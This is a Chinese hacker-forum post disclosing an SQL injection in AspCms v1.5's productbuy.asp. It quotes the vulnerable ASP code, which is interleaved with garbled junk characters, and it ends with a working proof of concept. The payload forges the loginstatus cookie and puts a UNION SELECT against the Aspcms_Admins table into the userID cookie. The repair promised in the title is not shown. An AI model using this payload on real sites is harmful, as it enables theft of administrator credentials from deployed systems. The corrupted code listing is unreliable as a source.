AspCms_v1.5_20110517 SQL注射漏洞及修复

admin

好久没上土司了，上来一看发现在删号名单内.....
也没啥好发的，前些天路过某个小站，用的AspCms这个系统，搜索了下，productbuy.asp这个文件存在注射，但是目标已经修补....下载了代码，很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞，但是就在同一个文件下面找到了注射漏洞。。。。。。。
废话不多说，看代码：

<%

if action = "buy" then

        addOrder()
, f- t2 p  R( y- n0 e- g6 q) S& D
else

0 l' ~" J: l/ J* O: m! g0 @        echoContent()

end if

3 j+ E% m8 Z/ o! c& {7 ~1 b

……略过



Sub echoContent()
) u1 Q" [" I& ^+ x* N9 {
        dim id
# B# X+ l1 }# u% F
        id=getForm("id","get")

        

: g0 r8 g5 O( N: k        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品！","-1"
0 t% ]" H( w! D2 u8 \6 j
        
! q3 x: e% V) F3 s. W
. d; p; P" ?/ e+ D        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")

8 x6 W4 l7 c7 m8 ~        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct
6 U  n0 P. n5 l6 f( U
        Dim templatePath,tempStr

- `" X$ ^; f+ D; ^* f' Y- u2 e        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
& e6 ]+ U( k8 F9 ]

/ v1 i. h6 n1 P( A" D0 e
6 w8 z! E$ R9 w& G! ?4 c        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")
  b5 V3 |0 a9 l% e. p
7 P# D; w  `0 N        selectproduct=rsObj(0)
/ F7 Y6 ]6 x2 Y& t6 [% X
        
" u, ^' f7 f2 ]* i: _2 j  w+ n
' Q5 A. U/ v# H# A- _        Dim linkman,gender,phone,mobile,email,qq,address,postcode

6 w2 u& N3 _) `6 g" z4 s        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0
3 ^6 L( Q  k  H7 I( M! p
        if rCookie("loginstatus")=1 then  

/ @# S; Y7 u( Q# ~; k1 T% H% |                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")
5 f& ~; G, u: w# s( [, p
) A& x( [* y. \5 B0 C# U3 ~( a  b                linkman=rsObj("truename")

* |: j, T/ c1 O4 [2 J                gender=rsObj("gender")

                phone=rsObj("phone")

                mobile=rsObj("mobile")

5 {7 @, p4 b6 ?) ~8 k, M                email=rsObj("email")

% }+ C8 g1 h* y4 l5 y                qq=rsObj("qq")
1 y+ d; m5 I. Q* T' ^% A) }2 `8 `+ O
9 {, Q  ]) h' h/ j" N: h( U3 ^                address=rsObj("address")

# O' b+ K/ Y* _5 A( {+ h. S                postcode=rsObj("postcode")
. ]0 r6 v5 C6 C5 ]' j+ J% C
+ a# Y, r# C4 Z! o( A% o# X        else
) d7 Z$ _1 v  ]' G' I
                gender=1

        end if

9 x! V' o4 {8 H5 X        rsObj.close()

: P0 p/ f" m  }) d4 z8 D               
" U/ C2 S/ R! [! L6 v4 Y
        with templateObj
3 V- n7 d) |/ v* Z! y: m' {6 M
                .content=loadFile(templatePath)        

                .parseHtml()

  U9 ~  e" Q6 m( q                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)
0 K! @" S3 g5 a: J; A9 N  h- I
                .content=replaceStr(.content,"[aspcms:linkman]",linkman)               

  R! ^) U/ O( G! n7 Z' ^/ K& x                .content=replaceStr(.content,"[aspcms:gender]",gender)               
  {, c, k8 g: a
  W8 |4 L) U5 |* P7 e8 z$ O& Y2 U                .content=replaceStr(.content,"[aspcms:phone]",phone)               
, U  _0 o& o2 p; j
                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               

& J6 l" y5 E/ _: C* E                .content=replaceStr(.content,"[aspcms:email]",email)                        
0 L2 J1 I0 V) h. O( u+ O6 _* z
                .content=replaceStr(.content,"[aspcms:qq]",qq)                        

* a- S4 M* r2 ^4 _2 ~  R                .content=replaceStr(.content,"[aspcms:address]",address)                        
) @6 v% ~9 z. r7 Z1 |
                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        
7 p/ W- T- `$ C3 R
                .parseCommon()                 
/ f; C4 I( K8 z" O
                echo .content
! D# e. u: X+ z
0 e% w8 u1 p. Y2 d. r        end with

        set templateobj =nothing : terminateAllObjects

End Sub
, X7 o7 V7 H; @, e漏洞很明显，没啥好说的
" {1 b9 w1 O' J% e6 {/ \poc：

javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外，脚本板块没权限发帖子​
: F. H: D/ R6 ]* _, ^& d